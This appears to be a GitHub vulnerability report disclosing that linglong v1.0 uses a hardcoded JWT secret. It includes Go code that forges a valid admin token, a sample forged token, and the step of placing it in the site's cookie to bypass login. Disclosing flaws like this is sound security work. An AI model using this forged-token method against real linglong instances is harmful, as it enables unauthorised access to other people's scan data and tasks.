linglong An invalid access control vulnerability was found

An invalid access control vulnerability was found

Open binganao opened this issue 2 years ago • 3 comments

[Suggested description]

Attackers can directly construct the corresponding JWT authentication information and enter the background to view, add tasks and scan results

[Vulnerability Type]

Incorrect Access Control

[Vendor of Product]

https://github.com/awake1t/linglong/

[Affected Product Code Base]

v1.0

[Affected Component]

Use the following code to generate the corresponding JWT data

package main

import (
	"fmt"
	"github.com/dgrijalva/jwt-go"
	"time"
)

var jwtSecret = []byte("213123dd1")

type Claims struct {
	Username string `json:"username"`
	Password string `json:"password"`
	jwt.StandardClaims
}

func main()  {
	token, err := GenerateToken("linglong","bingan")

	if err != nil {
		fmt.Println("Linglong Token 生成失败")
	}

	fmt.Println("TOKEN: " + token)
	fmt.Println("HEADER: ")
	fmt.Println("Authorization: " + token)

}

func GenerateToken(username, password string) (string, error) {
	//fmt.Println("GenerateToken")
	nowTime := time.Now()
	expireTime := nowTime.Add(3 * time.Hour)

	claims := Claims{
		username,
		password,
		jwt.StandardClaims{
			ExpiresAt: expireTime.Unix(),
			Issuer:    "linglong",
		},
	}

	tokenClaims := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
	token, err := tokenClaims.SignedString(jwtSecret)

	return token, err
}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imxpbmdsb25nIiwicGFzc3dvcmQiOiJxYXhzZWMiLCJleHAiOjE2NTAyNzYwOTAsImlzcyI6Imxpbmdsb25nIn0.jCiOvtQkXyQXsqzqWY8FdN7yiyTTj-piIo_aSKF3v6Q

Open Linglong site and write JWT data into the cookie